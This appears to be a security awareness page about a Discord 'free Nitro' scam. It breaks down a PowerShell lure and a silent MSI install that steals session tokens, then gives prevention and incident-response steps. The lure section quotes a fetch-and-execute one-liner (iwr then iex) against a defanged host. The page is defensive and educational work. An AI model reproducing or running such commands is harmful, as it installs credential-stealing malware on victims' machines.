1.

What the user sees

The lure presented to the victim

Private serverDMToday at 12:34

Someone in a private server shared this Nitro method.

Apparently you can activate free Nitro by running this in CMD. I haven't tested it myself yet, but a few people said it worked, so I'm sending it before it gets removed.

powershell -command "if (($Mode = 'app') -and ($ActivateNitro = 'nitro' + 'features[.]' + $Mode + '/dev')) { $chart = iwr $ActivateNitro; iex $chart.Content }"
Why people comply

The message combines a reward, trust borrowed from a friend or familiar server, and artificial urgency. That combination makes an otherwise unusual request to run a command feel acceptable.

2.

What happens behind the scenes

The technical attack flow

3.

Technical breakdown

What the command is doing

This sample has been modified for safety. Do not execute it.
PowerShell · defanged excerpt
$Mode = 'app'
$ActivateNitro = 'nitro' + 'features.' + $Mode + '/dev'
# => nitrofeatures[.]app/dev

$chart = iwr $ActivateNitro
# iex $chart.Content  => remote script execution

This sample builds a URL through string concatenation, sends a web request to it, and evaluates the returned script. The executable one-liner is intentionally not reproduced.

1Build the URL

$Mode is set to app. Concatenating 'nitro' + 'features.' + $Mode + '/dev' produces nitrofeatures[.]app/dev. This makes the destination less obvious at a glance.

2Fetch with iwr

Invoke-WebRequest, commonly shortened to iwr, sends an HTTP request to the generated URL and stores the response in $chart.

3Execute with iex

Invoke-Expression, commonly shortened to iex, evaluates a string as PowerShell. If $chart.Content contains a remote script, it executes that script.

iwr

iwr is Invoke-WebRequest: it retrieves data from a remote endpoint.

iex

iex is Invoke-Expression: it executes a supplied string as PowerShell.

Why the combination matters

The risky part is the chain: fetch remote text, then immediately execute it. The server operator can change the payload at any time.

4.

MSI execution flow

What the downloaded script does

  1. 1
    Create an Svservices folder under %AppData%
  2. 2
    Download new2.msi into that folder
  3. 3
    Use the built-in Windows msiexec.exe installer with /i and /qn
  4. 4
    Show only a fake Nitro availability message to the user
msiexec.exe arguments

/i means install. /qn means no UI. The victim does not see a normal installer window.

5.

Why 2FA alone may not stop it

Authentication and sessions protect different stages

2FA is still important. It primarily strengthens verification for a new sign-in. Theft of an already authenticated session occurs after that stage.

Normal sign-in
  1. 1Enter password
  2. 2Complete 2FA
  3. 3Authentication succeeds
  4. 4Session is issued
Session theft
  1. 1Malware runs
  2. 2Existing session is stolen
  3. 3Authenticated state is reused
  4. 4Account is operated
The attacker is stealing the state created after 2FA

A session token helps maintain an authenticated state. If a valid session is stolen, an attacker may reuse that state instead of entering the password and completing 2FA again. Enabling 2FA does not necessarily revoke a session that has already been stolen; the session must be invalidated.

1.

Prevention

Actions that stop this attack

  • Do not trust instructions that require PowerShell or CMD to activate a free feature
  • Stop when a command contains iwr, irm, iex, curl, or an unfamiliar shortened URL
  • Verify the request through another channel even when it comes from a friend
  • Enable Discord 2FA and store backup codes safely
  • Keep the operating system, browser, and Discord updated
2.

If you already ran it

Prioritized incident response

The order matters

Changing a password on a potentially infected device may expose the new password too. Disconnect it first and, where possible, secure the account from another trusted device.

  1. 1
    Disconnect the device

    Disable Wi-Fi or unplug Ethernet to stop additional communication and spread.

  2. 2
    Change passwords from a trusted device

    Change Discord and every service that reused the same password.

  3. 3
    Log out all sessions

    Invalidate authenticated sessions that may have been stolen.

  4. 4
    Review and reset 2FA

    Check authenticators, passkeys, backup codes, and recovery methods.

  5. 5
    Scan and clean the device

    Update your security software and run a full scan.

  6. 6
    Warn contacts and server staff

    Tell people not to open messages, links, or files sent from your account.

Open the full incident-response checklist
6.

Related techniques

Continue understanding the attack

7.

Sources

Primary references and further reading